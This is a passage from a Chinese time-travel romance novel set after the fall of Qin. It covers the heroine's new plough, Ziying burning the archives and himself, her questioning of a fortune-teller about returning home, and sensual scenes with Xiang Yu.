女郎在狗男人怀中,双手抱胸,眺望着远处山河,轻哼道:“我也是这样想的。” 如今破碎的河山,还需要修修补补。 由于春耕在即,项羽便立即召诸侯前来商议此事。 臣子们听说虞夫人弄出了新的农具,心里并不意外,毕竟之前她已经拿出了马具和制盐的法子,如今拿出农具,想想也在情理之中。 农事对于古代的士大夫而言,是顶顶的大事,因此听说制出了新农具之后,皆不敢怠慢,来到了议事的大殿。 大殿上项羽和虞苋都不在,等人来齐了,宫婢便带人来到了一块荒地。 范增走来,见有人在犁地,轻易就破开了土地,询问道:“此物便是新制出来的农具?” 他可太知道农具之于农人的重要性了。 虞苋解释道:“这是曲辕犁。” 范增抚摸着胡须,看了一眼项羽,心道还真是给他捡到了一个宝贝疙瘩。 项羽朝他看来,眼中有些得意:“亚父,你觉得此物怎么样,适合将其推广吗?” 亚父走上前,细细打量了曲辕犁,上面大部分是木质结构,只有需要破土的地方嵌上了铁器,大大减少了用铁的成本。 他正要说话,便听到桓楚的大嗓门:“来来来,让我来试一试。” 便有人笑道:“桓将军,你会种地吗?” 桓楚跟着项梁起义之时,是个勇武的游侠,闻言道:“谁说我不会了?” 他说完让宫人让开,自己搓了搓手。 原本准备用力去推,没想到轻易的就推了出去,将土破开,且破土的深度估摸着有五寸。 诸侯们见状:“此物乃是开荒利器啊。” “的确。” “没错没错,应将此物推广,农人便有能力种植更多的土地。” 众人目光落在了虞苋的身上,此女拿出来的每一件东西,都是恰好落在了实处。 听说这位虞夫人是当年项王在长江捡到的商户女,可见识、谈吐与胆气实在让人不敢小觑,难怪能笼络得项王的独宠。 将农具的用法都演示了一遍之后,众人又重新移步回到大殿议事,探讨应该怎样将农具推广。 一直商议到了傍晚,这才得出了个章程。 由于嬴政当年设立了郡县制,更有利的监管地方,是集权的政治手段,也方便了政令的下达。 项羽便将推广农具这件事交给了韩信去办。 他可不想对方在自己的夫人面前晃荡。 吃醋。 诸侯知道上次的粮食,亦是虞夫人出的主意,让韩信去办成的,都知道韩信此时是虞夫人的人,因此都没有意见。 虞苋更不会有意见。 她既然拿出农具,自然希望是自己的人去办,不然农人怎么会知道谁为了他们着想? 韩信上前道:“末将定会在春耕之前将农具推广下去。” 天色已晚,朝会散会。 外面一轮明月挂在天际,没有星星,月光洒在神州大地,将四周照得亮堂。 等众人散去,韩信单独求见虞苋。 项羽还在她身边,闻言面上不悦:“有何事在殿上时不说,非得单独与你说,是有什么我听不得的吗?” 虞苋小脸一皱:“你要想听,便跟我一起接见他便是了,何必阴阳怪气的。” 项羽:“我没有。” 话是这样说,却稳稳坐在女郎的身边,一起接见了韩信。 韩信走了进来,朝着项羽和虞苋行礼,开口说道:“大王,虞夫人,我之前受命整理宫中藏书,发现里面的户籍有问题。” 项羽原本还防备着韩信,见他说 的是正事,立即敛容,询问:“户籍有什么问题?” 韩信低头道:“记载户籍的竹简,上面一字也无,是空的竹简。” 项羽皱眉:“全部都是?” 韩信解释道:“只有放在最外围的户籍是有字的,大概有三千竹简这样,宫人整理了好几天,才发现后面的是空的。” 虞苋冷笑一声:“去看看吧。” 若是户籍被转移了,究竟是谁做的,自然显而易见。 藏有户籍的阁楼修建得十分的气派,有三层高,占地面积几百亩,宫人宫婢穿行其中,见到项羽和虞苋皆是止步行礼,等他们走过,便不卑不亢的离开,十分的规矩。 韩信将二人带到一楼,说道:“当时宫人是从一楼整理的,上面记载的人名,都已经是五十年前的,我询问过管理户籍的小吏,超过五十年的档案已经可以销毁,免得占用位置。” 他指着楼上:“楼上则全是空的竹简。” 虞苋随手拿起一卷竹简,五十年前的档案,秦国当时的文字还是小篆,是嬴政在位之后才推广隶书的,她能认识上面的字才有鬼了。 她递给项羽:“大王,上面写的是什么?” 项羽:“……” 虞苋乐了:“对哦,你是楚国人,大抵是认不得秦国的文字。” 项羽一头黑线:“你知道就好。” 众人正准备上二楼,便听见楼上一阵喧哗。 “相国,如今他们并未说要杀你,保全性命要紧,何至于如此啊。” 相国? 虞苋与项羽对视一眼,走上了阁楼二楼。 却见子婴拿着火把,橘黄的火光打亮他的脸颊,面上如死水一般的平静。 “没有了,什么都没有了,大秦的根基,全毁了。” 夜色下看不清楚,鼻间却闻到了桐油的味道。 子婴见到了项羽和虞苋,脸上露出了一个玩味的笑容:“这里面曾藏有大秦的户籍与律法,现在全都没有了,项王啊项王,你说还能是谁带走的?” “是沛公啊。” “大秦已经亡了,世代基业也毁于一旦,但我知道,这天下终究不会姓项。” “你总是晚了一步。” 项羽淡淡道:“看来你还不死心,到了这个时候,还有心情挑拨我与沛公的关系。” 不管他今后会与刘邦走到何种地步,都不是他人能够挑拨的。 子婴面上带笑:“你要不要看看,他留给你的是什么?” 虞苋在两人说话的时候,便已经摸到了上面的竹简。 空的,空的,全是空的。 她递了一卷竹简给项羽,声音压低:“果真什么都没有,档案全部被空竹简掉包了。” 项羽接过,看了一眼,没有说话。 子婴继续道:“听闻项王曾在鸿门设宴款待刘季,看来你是放过了一个劲敌。” 他叹息一口气,转身用火把点燃了身后的架子,竹简原本就易燃,又被破了桐油,火势瞬间蔓延。 原本劝说子婴的宫人站在他身后,仰头看着冲天的火舌,亦是一脸哀莫大于心死的样子,已经流不出眼泪了。 项羽没有叫人救火,跟韩信说了一声“从二楼窗台跳下去”,便将愣神的虞苋揽住,带着她稳稳当当的落地。 黑夜中,火光冲天。 咸阳城中的百姓,亦都见到了这一场大火。 子婴引火自焚了。 他以自己的死,去挑拨项刘之间的争端,试图为死去的先人复仇。 而秦王宫里依旧效忠于秦的宫人赶来,一开始想要用水救火,可那火却一直烧一直烧。 救不了了。 见状,他们放下了手中的水桶,猛扎了进去。 “大王,我们下去陪你了。” 有人开了头,便有宫人一个一个的冲入了火中求死,被火舌吞没。 里面的哀嚎声格外的凄厉,就像是一个末世王朝,发出的最后一声呐喊。 宁玉石俱焚也不愿意苟活于世间。 就像是一场巨大的祭祀,而这一次,是以活人为祭。 而这一场大火,无疑烧到了所有人的心间,刻在了脑海中。 如此的震撼。 虞苋深吸一口气,仰头询问项羽:“阁楼上户籍,是不是沛公调换的?” 项羽道:“不一定,也有可能是子婴调换了户籍,嫁祸给沛公。” 西汉建立之时,不少的律法是在秦律的基础上制定的,比如汉律的《九章律》便是其中代表。 虞苋忍不住道:“若户籍便是刘季趁你未入城之时掉换走的呢?” 若是项羽按照历史说的那样,进入咸阳后便开始屠城杀人放火,或许就不会有人发现,里面最有价值的东西早就已经被人搬走了。 项羽一脸无所谓:“没了就没了吧,难不成我还能用秦人的律法治国?” 虞苋都快气死了,咬着嘴唇,没好气道:“我看你是真的傻。” 项羽:“……” 第65章 第65章“许相师难道不清楚吗?…… 户籍为何如此重要? 只要谁掌握了户籍,就可以知道一个人的亲缘关系,姻亲关系,从而又能推断对方社会关系。 这对于这个时代而言,是多么重要的信息啊。 若是户籍到了刘邦手里,对他简直是犹如神助。 虞苋看着熊熊燃烧的大火,那红红的火舌似乎要将整个黑夜都吞没,气氛压抑得让人喘不过气来。 她转身,说道:“大王,你相信命运吗?” 项羽低头,看着女郎冷漠的眼神,就好像是曾浸泡在三尺寒潭之中。 他一沉,沉声道:“我可不信命。” 女郎双手抱胸,转身往回走:“我也不想相信。” 可事实上自己看似改变了什么,又什么都好像没有改变。 她黑色的玄衣融入在了黑夜之中。 咸阳的这一场大火烧了三天三夜,将整个藏书阁都烧尽了。 子婴在阿房宫自焚的消息,很快就传到了大江南北。 与这个消息一同传开的,还有新农具面世的消息。 百姓们都在嘀咕,子婴到底是真的自焚,还是被项王所杀。 不过春耕在即,种植粮食要紧,自然没有时间八卦其他,更关注新农具究竟好不好用如何用。 项羽写信询问刘邦,是否知晓户籍的下落,并在子婴死前的话转告他。 沛公收到信后,立即回信喊冤:“子婴乃是前朝余孽,对我等恨之欲死,此人此言不过是为了挑拨你我之间的关系,项王万万不可信了这小人信口雌黄之言。” 项羽看着刘邦的回信,心中已经清楚对方的打算,只是要讨伐他,还需要出师有名。 毕竟他在明面上,的确还是功臣。 加上如今春耕,亦不适合开战。 项羽倒是要看看,刘季此人,究竟敢不敢反了自己。 而另一边,许负越接近咸阳,心中越乱。 她与黎晟等人骑马到郊外,看见农人在拿一个她没有见过的农具在翻土,看上去是曲面的,很轻易的就将土地给破开了。 许负见状立即下马询问:“老人家,此物叫做什么?” 老农脚步没停,抹了一把脸上的汗,说道:“这叫曲辕犁,最近才出现的农具,很是好用,如今春耕了,很多人都在铁匠铺子排队,也想打一个曲辕犁呢。” 许负又道:“老人家可知道此物是何人所做?”竟然如此好用。 他又抹了一把脸:“是项王身边的夫人所做。” 黎晟看见许负耽误时间原还有些不满,得知曲辕犁是虞夫人弄出来的农具,亦是下马走了过去,忍不住询问:“此物比起其他的农具如何?” 农人道:“那是好太多了,若是往年,我要犁这一亩地,得需要一天,现在半天就能犁完了,可是帮了我大忙了。” 黎晟:“怎么说?” 他道:“往年我家那小儿子还能来帮我种地,今年回来时,打仗没了一条腿,索性还捡回来了一条命,做些轻的活计倒是还行,下地就难为他了,我还担心今年一个人,家里的地不能在春耕前开垦完,有了此物,家里的地我一个人也能干完,可不是帮了我的大忙了吗?” 许负闻言:“此物果真有大用。” 黎晟如今在虞苋手下做事,对于这位虞夫人自诩是有些了解,说道:“夫人拿出来的东西,自然是实用的。” 许负道:“你倒是对虞夫人的评价很高。” 黎晟不欲与她多言,做了一个请的姿势:“还请许相师不要耽误时间,先进城见过了夫人,此后你便想去哪便去哪,不会有人再拦你。” 许负摆手:“知道了知道了。” 和农人告辞之后,许负便与黎晟等人进了咸阳。 进城之后他们先寻了一个地方落脚,沐浴更衣了之后 ,准备前往宫中觐见项王与虞夫人。 此时阿离也到了咸阳。 她瞥见了黎晟等人,看着她身边的女人皱眉,嘀咕道:“此人是谁?” 难不成黎晟这个蠢人,又认错了妹妹? 见黎晟的目光往她扫来,阿离立即警惕的避过,随后找了个住处先落脚。 阿房宫。 大火烧掉了小部分宫殿,只是巨大的阿房宫的其中一角,完全不影响居住。 虞苋知道户籍早就被搬空之后,心里便一直闷闷不乐。 她做什么都没有什么心情。 就在这时,项羽走了进来,单手将趴在案几上蔫巴巴的女郎给提起来:“试试婚服。” 宫婢拿着托盘,将婚服拿了进来。 虞苋伸手软乎乎的抱着项羽的腰,用气音道:“我知道了,我会试的,你不用亲自来催我。” 项羽挥手,让宫婢离开,房间里只剩下两人,他弯腰捏住她的下巴:“宫婢让你试婚服,你都拒绝了,我还以为你要我亲自服侍你穿上呢?” “也不是不可以。” “嗯?” 虞苋阴阳怪气:“错了错了,当然是我服侍大王,我哪敢让尊贵的项王服侍我呢?” 项羽冷笑着松开她的下巴,手往下,钻入了女郎的衣领,揉捏着她的后颈,见她浑身舒服得眯眼,便将她捞在怀中,往床上抱。 他道:“你选择了我,现在怕死不想嫁我,已经晚了,现在你是不想嫁也得嫁。” 虞苋嘴硬:“我没有不想嫁。” 项羽将她压在身下,面容冷峻,嗤笑道:“你这些日子闷闷不了,不就是和亚父一样,觉得我会输给刘邦这样一个奸猾之人,会带你赴死?” 她咬唇:“我没说。” 项羽说道:“那你为何拒绝试婚服,难道不是因为不想与我成婚了?” 虞苋:“我可不敢。” 是不敢不嫁,而不是想嫁。 项羽心中恼怒,气得揉着她的脸,说道:“你别忘了,若是没有我在巨鹿打败了秦军主力,刘邦可不会这么简单就能入咸阳?” 他咬牙切齿:“否则他如何能拿走户籍和律例?” 说完,狗男人深吸了一口气,冷漠询问:“为何你与亚父,还有叔父,一个个都觉得会是刘邦取走我的性命,如此的忌惮于他。” 甚至不惜背叛他。 虞苋感觉不太对劲:“你怎么了?” 项羽闭嘴了:“没什么。” 他已经知道了入函谷关后,是项伯偷偷给张良报信他要杀刘邦,才会促使刘邦前来鸿门献宝赔罪。 见对方不想说,虞苋便没问了,小声说道:“我不是觉得大王的实力不如刘邦,是我心疼失去的户籍和律法,感觉便宜了刘邦,他野心极大,大王不得不防备。” 她是真的心疼啊。 若是重新做人口普查,不知道要花费多少人力物力呢。 她将头抵在男人的怀中,又闷闷说道:“放心好了,无论未来怎么样,我都会陪在大王身边的。” 项羽低头,摘取她的唇瓣,唇齿缠绵了许久,他鼻子碰了碰她的脸颊,说道:“说话算话?” “说话算话。” 项羽不知道自己最近为何,总觉得自己好像要失去了她,恨不得日日夜夜都跟女郎黏在一块,希望从她口中听到“对他不离不弃”这样承诺的话。 哄一哄自己,心情就能好了。 他揉着女郎的小手,凑到她耳边说道:“我伺候你试试婚服?” 虞苋瞬间清醒,声音高了一度:“你不会想骗我白日宣淫吧?” 项羽:“嘘,你声音再大一点,就要被外面候着的宫婢听到了。” 虞苋赶紧闭嘴,她还是要脸的。 项羽见状心情立即就舒坦了。 他摸摸女郎的细腰,摸摸她的大腿,解开了挂着的腰带,慢慢的帮她解开身上的束缚。 虞苋脸上有些害羞,也就忘记了烦心的事情。 不是,都已经做过了很多次很多次了,她到底还在害羞什么呢? 她心一横,女郎瞬间翻身骑在狗男人的身上,眯眼打量他。 项羽身材很好,衣裳下的肌肉紧绷,看上去非常的有爆发力,她的手忍不住捏了捏。 看起来都好好吃的样子,要从哪里下口呢? 要不要给他吸一吸? 女郎想到那个画面就有些脸红,正骑虎难下之时,外面传来宫婢禀告声:“大王,夫人,黎晟带人求见。” 黎晟? 虞苋立即想到应该是许负来到了咸阳,眼睛一亮,从床上爬了起来整理了一下凌乱的衣裳。 下一刻,她又被人搂在了怀里。 狗男人声音沙哑,朝着门外的宫婢冷声呵斥:“没空,让她去偏殿候着。” 宫婢:“喏。” 虞苋仰头看他。 此时项羽的下巴正搭在她的肩窝处,脸色有些冷,嘴巴紧抿,将她牢牢的勒在双臂之间。 女郎的背贴在对方的胸膛上,男人的身体很烫,她甚至能听到他强有力的心跳。 她有些站不稳,正要说话,狗男人扶着她的脸,凑过来亲她。 项羽闷哼道:“先试完婚服再说。” 虞苋被人直接亲软了,乖乖点头:“好的好的。” 项羽解开了她的外衣,规规矩矩的给她穿上了婚服。 玄色的婚服,将原本就白皙的女人,显得肌肤更是如雪花般的白。 虞苋走到铜镜前,看着穿着古装的自己,一点不违和,看来她早已经融入了其中。 她又走到狗男人面前,抬手转了一圈:“大王,好看吗?” 项羽挑眉:“人衬衣服。” 虞苋凑上去:“那便这一套?” 项羽指着其他衣裳,骤然沉下了语气:“还有这么多都没有试过呢,这般快做了决定,是不是急着见你的许负阿姊?” 虞苋:“……” 她眼睛一转:“没有。” 项羽不悦:“说实话。” 女郎上前抱着狗男人的腰,仰着小脑袋,眼睛一眨一眨的说道:“婚服晚上睡觉前也能试的,我去去就回,大王莫要生气,好不好?” 项羽原本就不喜欢许负,加上如今虞苋又突然开始迷起古怪的东西,生怕她跟嬴政一样沉迷长生之术,若是这样,整个天下都不够她糟蹋的。 他面色不悦,拿开她的手,冷哼道:“行,我不管你,你去见她吧。” 虞苋假装没发现他的不悦,笑眯眯地道:“那我去了,你不许生气。” 话落,她便整理了衣裳,拉开门往外走,还贴心的关上了房门。 项羽:“……” 气炸了。 虞苋关上房门之后,咬了咬嘴唇,想到自己找许负的目的是为了让她帮自己寻回家的方法,又觉得有些对不起项羽。 特别是刚刚她还骗他说,无论遇到什么事情都会和他在一起的。 算了。 让他长一个教训,得让他知道,漂亮女人的话多数是骗人的。 虞苋让宫婢带路,往偏殿走,黎晟身边果然站在许负。 见她前来,两人朝着她行礼。 许负:“虞夫人,又见面了。” 虞苋微微一笑:“坐吧。” 许负第一次见到虞苋之时,只觉得她身上违和,才会给她留了扳指,如今才隔了一年再见,女郎身边如同历经沧桑洗去铅华般,更加的光彩夺目。 她开口:“不知夫人召我前来咸阳,是所谓何事?” 虞苋端起茶杯,淡淡一笑:“许相师难道不清楚吗?” 许负:“……不清楚。” 她提醒道:“第一次见面时,长江出现罕见的天象,你可是口口声声说,此为二王 争霸之相。” 许负睫毛颤了颤:“不过是民女口出狂言罢了。” 虞苋微眯着眼睛,轻轻一笑:“许阿姊莫要自谦,我倒是觉得你说得很对,我只是有些好奇,你说这二王争霸,谁是赢家谁是输家呢?” 她闻言尴尬一笑,默默地抹了额头上的冷汗,说道:“夫人口中的二王,是谁?” “项王,和沛公。” “夫人,容我算上一卦。” 虞苋颔首:“允了。” 许负是以哭笑断吉凶而闻名,她打量虞苋许久,沉吟道:“夫人,想必我今日无论是算项王和沛公谁是最终的胜利者,夫人皆会让人传出,是项王天命所归之语。” 她面色不变:“我如何跟人宣扬暂时不重要,我现在只想知道,许阿姊算到了谁能登临天下。” 许负道:“若是我回答不能让夫人满意,可否饶我一命?” 虞苋:“我非嗜杀之人,你大可直言不讳。” 这本就不是自己寻许负来咸阳的重点,只是一个试她真实水平的开胃菜。 许负这才稽首道:“夺项王天下之人,正是沛公,他将成为天下之主。” 虞苋轻笑了一声:“是么?” 许负立即跪趴在地上,头发散落下来,透过散落的头发缝隙,偷瞄虞苋的神色。 等一下。 这位虞夫人不会出尔反尔,一气之下准备将她给砍了吧? 虞苋道:“起来吧。” 她继续说道:“听闻许阿姊能以哭笑断吉凶,可我非项王,亦非沛公,你如何能断定夺取天下的是谁呢?” 许负不敢隐瞒,起身解释道:“我的确不是以夫人的哭笑裁断谁赢谁输,而是经过半年夜观星象而得出的结论。” “星象?”她手拖着下巴,“原来如此。” 许负说:“只是如今天下出现了变数,未来会不会有变,我不敢妄言,此时的星象所指,的确显示天下尽归沛公。” 虞苋起身:“未来之事如何还犹未可知,不过刚才算得不错,无论你今日算了谁将是天下之主,传出去都会是你认为项王才是天命所归,你既已来到咸阳,我便不可能再让你去投靠刘邦。” 许负:……果然够狠。 第66章 第66章“哭解决不了问题,不是…… 许负心里清楚,往后到了沛公面前,自己若是说沛公才是天命所归,她在他人眼中就成为了墙头草。 她说道:“天下的相师无数,夫人为何就看中我。” 虞苋想了想说道:“可是天下的相师,能被嬴政召见的,可没有几个人。” 许负喝茶:“原来如此。” 虞苋见对方的确有真才实学,于是让人将几卷竹简拿了出来:“许阿姊,寻你来咸阳,其实是我有一事相求。” 许负:“哦?” 她拿起竹简,念出声:“齐国有一商贾,李氏,原本是撑船给人渡江的船夫,一日江中起风,天上乌云密布,一个年轻女子掉落在江边,被此人所救。询问之下,得知女子为魏人,在地里割草时被一阵怪风卷到了此处,以离家数百里。后来女子与船夫的结为夫妻,转而开始沿江做起了生意,积攒了巨额财富,后代也在一次狩猎活动中被当时的齐王看中,在齐国做了官。” 念完,许负瞟了虞苋一眼,又拿了一卷竹简,往下看。 翻了三四卷之后,都是这等奇闻轶事,她抬头询问道:“这是……” 虞苋道:“这是我从阿房宫中翻到的记载,都是一个人原本待在一个地方,莫名出现在离家遥远的异地。” “的确。” “许负阿姊走南闯北,见识多广,可否见过如此怪事?” “这我倒是没有见过。”她好奇,“不知道虞夫人研究此事为何?” “好奇。” 她又拿出几卷竹简给许负,说道:“这是去岁的年历,许负阿姊既然对星象研究颇深,便是连天下大事都能推算,不如为我看看这去岁的四月十五,天上的星象究竟是什么样的?” 说话间女郎一直关注这许负的神色,见她眼神后缩,神情似乎有异样,随后手指不自然扒拉着碎发到耳边。 虞苋立即道:“看阿姊的神色,似乎是知道什么。” 此时许负心里清楚,自己就是虞苋手中的蝼蚁,对方若是想,随时可以将她给碾死,于是不敢隐瞒。 “回夫人,我每晚都有观测星象记录的习惯,那日的天气不错,我观测星象之时,发现原本紫薇星身边只亮了右弼星,那一日左辅星点亮,也就是左辅右弼星都伴在紫微星身侧。” 虞苋:“不懂。” “此为吉兆。”许负叹道,“亦是变数。” 因此她才对于这一日的天象记忆深刻。 紫薇星为帝星,所谓独木不成舟,需要左辅右弼辅助,才是吉兆,就像帝王再厉害,也需要臣子出谋划策,如此才会相得益彰。 虞苋询问:“没有五星连珠,七星连珠,九星连珠?” “嗯?” 女郎又询问:“那你觉得你口中出现的左辅星,与我刚刚给你的奇闻之间,会有什么关联吗?” 许负看着虞苋,眉头轻蹙。 在她看来,这位虞夫人的出现,就是星象所指的化身,是其中的变数。 如左辅星一样,在辅助着身边的王者。 而对方给她看的奇闻异志,却都是有人因为异象,从一地到了另一个地方。 难道此事跟她的来历有关? 许负疑惑:“莫非夫人遇到了这样的怪事?” 虞苋:“这你就不必过问了。” 其实她跟许负提及此事,就有被对方猜到自己是穿越的风险,可猜到了又如何,高位者都喜欢编纂些与常人不同之处来显示自己的不凡,就算许负传扬了出去,不过是给她身上填上了一抹神秘的色彩。 毕竟现在掌握话语权的人是她。 不过她也不会坦白,换了一个说法:“我只是好奇这等奇事究竟跟星象有没有关系。” “这样啊……” “如今你来到了咸阳,不如先留下来小住些时日,不久我将与项王成婚,还请许负阿姊观礼。” 许负知道虞夫人的话不过是对方还不想让她离开咸阳的借口,而她正好也想留下来看看对方究竟还能弄出什么事情来,于是顺势答应了。 虞苋道:“甚好,若是许负阿姊有空,便帮我一起找找典籍,这世上有没有穿越之事,倘若有,又是何原理吧。” “穿越?” “就是书上说的,一个人从一个地方迅速转移到了另一个地方,就定义为穿越,不然太难以用词形容了。” 许负:“穿越一词,倒是贴切。” 虞苋接见了许负之后,便让黎晟给人安排住处。 人离开之后,偏殿冷清清的。 她坐在阴影处,好似整个人都被暗色包裹,融入进了黑暗之中。 看来穿越之事太过少见,即便是许负都没有听说过,若非阿房宫藏书丰富,否则她也不到类似的记载。 若是连历史上盛名的女相师,都不知道穿越之事,难不成她真的回不去? 还是说…… 她要在四月十五这一日,重返故地,或许能瞎猫碰上死耗子,让自己穿越回去了? 不管了。 就算许负不清楚,天下相师无数,难不成就没有一个人遇到此等事情?她都要成为王后了,届时她广纳方士,全都给她研究此事好了。 回家。 这是执念。 虞苋闭上了眼睛,深吸了一口气。 “你和许负聊了什么?脸色这么难看?”项羽走进偏殿,见女郎浑身郁气,不由发问。 “没什么。” 她赶紧收拾收拾郁闷的心情,脸上挤出一个灿烂的笑,往项羽身边蹦了过去。 而项羽已经拿起案几上的竹简,目光快速的扫过上面的文字:“看来你对上面记载的事情还挺执着。” 虞苋见他看见了,丝毫不慌:“你不觉得上面的事情太过神奇了吗?” “然后呢?”项羽反问,“你召许负前来咸阳,就是为了这件事?” “对啊。” “若是上面记载的为真事,能将人从一个地方快速传送到另一个地方,打仗都不需要护住粮道了,还能迅速的增援,那多方便。” 项羽冷 哼:“你倒是想得挺美。” 虞苋拿掉他手上的竹简,仰头看了一眼,说道:“你就不好奇,为何嬴政后来会坚信这世界上会有长生药,他一个灭了六国的男人,有什么人能轻易糊弄他呢?” 项羽:“……” 他脸色铁青,双手背在身后,深邃的眼睛盯着她,一句话不说。 还想着长生药的事情呢。 呵呵。 虞苋感觉到气氛不对,默默将竹简放了回去,上前扯了扯对方袖子:“别生气别生气,我就是随口一说。” 项羽转身就走,完全不想废话。 她委屈巴巴的跟在后面,边走边保证:“是我说错话了,我只是想举个例子,没有吹嘘嬴政的意思……” 项羽倏地转身:“我并不是因为此事生气。” 虞苋跟着止住了脚步,脸上还有些不解:“那是因为什么生气啊?” 项羽轻嗤:“跟你说有什么用,说了你也不会听我的,说来也是无用。” 不是吧不是吧。 这是真把人搞生气了? 虞苋见他继续走了,她亦步亦趋的跟在身后,手不敢扯他的衣裳了,就像是受气包一样。 到底谁才是被气到的啊? 走到寝殿,项羽气不过,挥手让伺候宫人全部下去,转身提起女郎的腰,搂着她进了房间,顺势将房门给一把关上。 虞苋被压在门上,惊慌地仰头,却发现自己被男人的身体抵住,完全动弹不得。 狗男人咬牙切齿道:“能不能不要研究那些莫名其妙的东西了?” 他最近有一股不妙的预感,且越来越强烈,让他心十分的慌乱,神经也不由的紧绷。 虞苋张了张口。 她原本想要跟以往一样,说说谎话骗骗他的,可是看着男人红了的眼尾,却怎么都开不了口。 可在许负身上寻不到有用的信息,她也正难过呢。 “你,你凶我。” 女郎的眼泪就像线一样的往下掉,大颗大颗的眼泪划过脸颊,汇聚在下巴,滴落在了男人的手背上。 哭得梨花带雨,好不可怜的。 她心中藏着事,却无人可述说。 在这个世界上,她没有知音,看到的只有杀戮,是权欲的争斗。 她想回家,有错吗? 可是现在她回不去了,只是想要寻一个念想,一个缥缈的念想,仅此而已。 项羽见她哭了,说道:“哭解决不了问题,不是你哭了,我就会对你退让。” 虞苋抹掉眼泪,想要去扒拉开他,此时狗男人没有像往常一样卸力,手臂纹丝不动。 她抿嘴:“此事我也不会退让。” 项羽眼神凌厉,双瞳若隐若现,下一刻直接将她提起,双腿凌空,对方的手从下往上摸,一把扯掉了她的腰带。 他面色冷峻,手揉在她身体酸胀的部位,拨弄着经。 虞苋有些受不住:“你做什么?” 项羽冷嘲:“你有事瞒着我,告诉我,你研究那些东西,不求长生,究竟想要做什么?” 他不瞎不聋,会听会看。 从刘邦献长生药开始,到后来召见子婴和许负,以及收集的典籍,研究的都不是什么正经的东西。 对方却什么都不告诉自己,即便是他开口询问也都是搪塞。 他心中莫名的恐慌,一点点的蚕食他的心脏,已郁结于心。 见虞苋沉默,项羽深吸一口气,又舍不得下重手,对她无可奈何,只能和她僵持着。 女郎此时被狗男人的大手捧在了高位,低头便能看见对方在仰视她,心中蓦然一痛,低头亲了亲他的脸颊。 她道:“大王……” 项羽看了她水润的眼睛,立即打断了女郎的话,脸上失望:“算了,我不想听搪塞的假话,不想说便别说了。” 哄不好了。 难搞。 第67章 第67章“桃之夭夭,灼灼其华。…… 房间昏暗,呼吸绵长。 可若是项羽知道自己的打算,定然会记恨上她的,她当然半句话不敢透露自己的来历,面对着对方恼怒的质问,虞苋心里心虚得不行。 即便现在她还没有半点穿越回去的思绪。 她闭上眼睛,呼出一口气:“关注这些事情,不过是我的一个念想,至于这个念想具体是什么,恕我暂时不能告诉你。” 项羽看着女郎认真的表情,知道自己从她嘴里问不出什么。 他点头:“好。” 这么好讲话? 不对劲。 虞苋忍不住抬头,却见他眼神幽暗。 “我不问你,我去问许负。”项羽继续说,“想必她不敢隐瞒我。” “她告诉不了你什么的。”说到这里,她颔首,“我什么都没告诉她。” 小模样瞬间变得很得意。 项羽:“……” “这么说我是拿你没办法了?” “哪里。”女郎皱眉,目光看着自己身上的大手,“现下我不是被你掌控着吗?” 项羽轻哼:“严肃点。” “我心里这个秘密的念想,不过是虚妄的,不切实际的。”虞苋眼珠子一转,手抚在狗男人的胸膛,“可是现下我和大王在一起是真实的,是真切能感觉到的。 “是大王追问那些缥缈的事情重要,还是与我一起试婚服重要?” 狗男人心知在她的嘴里问不出什么,又被她拨弄了心弦,此时迫切的想要将她绑在身侧,于是将她抵在自己身上抱着,好半天才松开了她。 “行,先试婚服。” 婚服的款式和饰品都很多,项羽没有找宫人进来帮忙,自己亲自服侍女郎穿衣。 虞苋将一件件漂亮的衣裳穿上,腰间挂着一长串的玉珏,另一旁挂着香兰,宽大衣袖和裙摆拖在地上,此时女郎累得正侧躺在榻上,殿内的烛光打在她瓷白的脸上,照亮了她美丽的容颜。 她询问:“大王,好累,身上穿了好多的衣裳,都喘不过气了,可不可少穿两件?” 项羽没有说话,看来是不行的。 这一晚上女郎将衣裳试完,最后终于选到了令两人都满意的婚服。 累瘫。 而狗男人却依旧精力旺盛,他将虞苋身上的婚服拆掉,身上只留了一件薄衫。 他说道:“你出汗了。” 虞苋气道:“穿这么多的衣裳,当然会出汗的。” 项羽:“去沐浴。” 虞苋困得眼睛都睁不开了,却感觉自己被对方凌空抱起,稳稳当当的走到了汤池,随后半个身子都泡在了温暖的水中。 水面撒上了花瓣,周围雾气朦胧,她微微撩起眼帘,便感觉比水还要火热躯体贴了上来。 她被迫张开嘴巴,对方火热的吻落下,带着她缠绵,男人坚硬的手臂固定着女人的细腰,就这样肆无忌惮的对她侵略。 虞苋被亲得受不了,胸口的两团涨涨的,水下的腿巍巍颤颤地抬起,环住狗男人的身体磨蹭。 水中很温暖。 很舒服。 她好像要溺毙在这该死的温柔之中,男人的手指灵巧的攀附在肌肤上,指腹带着温度,划过之时,很是痒痒的。 虞苋道:“你这是报复。” 男人声音暗哑:“没有。” 女郎恨声道:“绝对是报复。” 项羽:“对,我就是在报复你不跟我实话实说,可是你 不觉得,我的报复是如此的幼稚,不为我觉得可悲吗?” 虞苋闻言一愣。 项羽亲亲她嘴角,舀了水淋在她的肩膀,水从光洁的肩膀划落,留下了晶莹的水珠。 他低头,含住了肩膀,将她肩膀上的水珠舔干净,随后抬头看她,道:“别离开我,好吗?” 女郎还没有回答,他便已经沉在了池中,水面上只有交缠的头发。 她双手触碰到了对方的肩膀,水下,男人在对她索取着。 虞苋仰着头,身体触觉是如此的真实,却感觉到脑袋浑浑噩噩的。 下一刻—— 狗男人抱着她破水而出,水面出现了巨大的水花,身上的水滴滴答答的落下,女郎被搂在了怀中,背后贴在池子旁镶嵌了暖玉的壁沿。 身体很是契合,虞苋已经完全清醒了,感觉自己动弹不得,而又有一阵悸动,从身下传到了心间,让她的脚背绷直,而脚趾和手指蜷缩着,受不了更多的刺激。 掌舵的人已经得心应手,稳固如山,加上心中澎湃的占有欲,完全没有怜香惜玉,到了最后已经完全不知道两人身上往下流的是水还是汗。 后面虞苋完完全全的坐在了对方身上,周围很颠簸,头很晕,嗓子很渴,掌心攀在狗男人胳膊的肌肉上,能感觉其中隐藏的爆发力。 她又抬起头,看着男人冷峻的脸,发狠的眼睛,又感觉到一阵暖流划过全身,嘴巴微微张开,一口咬在了对方的下巴。 “嘶——” 项羽不悦:“会破相的。” 虞苋又用牙齿磨了磨,眼睛水润:“没咬呢。” 项羽心中的不安倒是在无比的亲昵间消散了许多。 他捏捏女郎的胳膊小腿,下巴抵住她肩窝,声音暗哑:“小骗子。”都破皮了。 …… 过了几天。 三月初八,正是吉日,天上万里无云。 初晨的日光洒在神州大地,生发的草木舒展着腰肢,草木之间的昆虫在舒展着羽翼,在原野上飞舞。 从远处飞来的鸟,一排排的立在阿房宫屋顶的瓦片上,又或者停靠在树上。 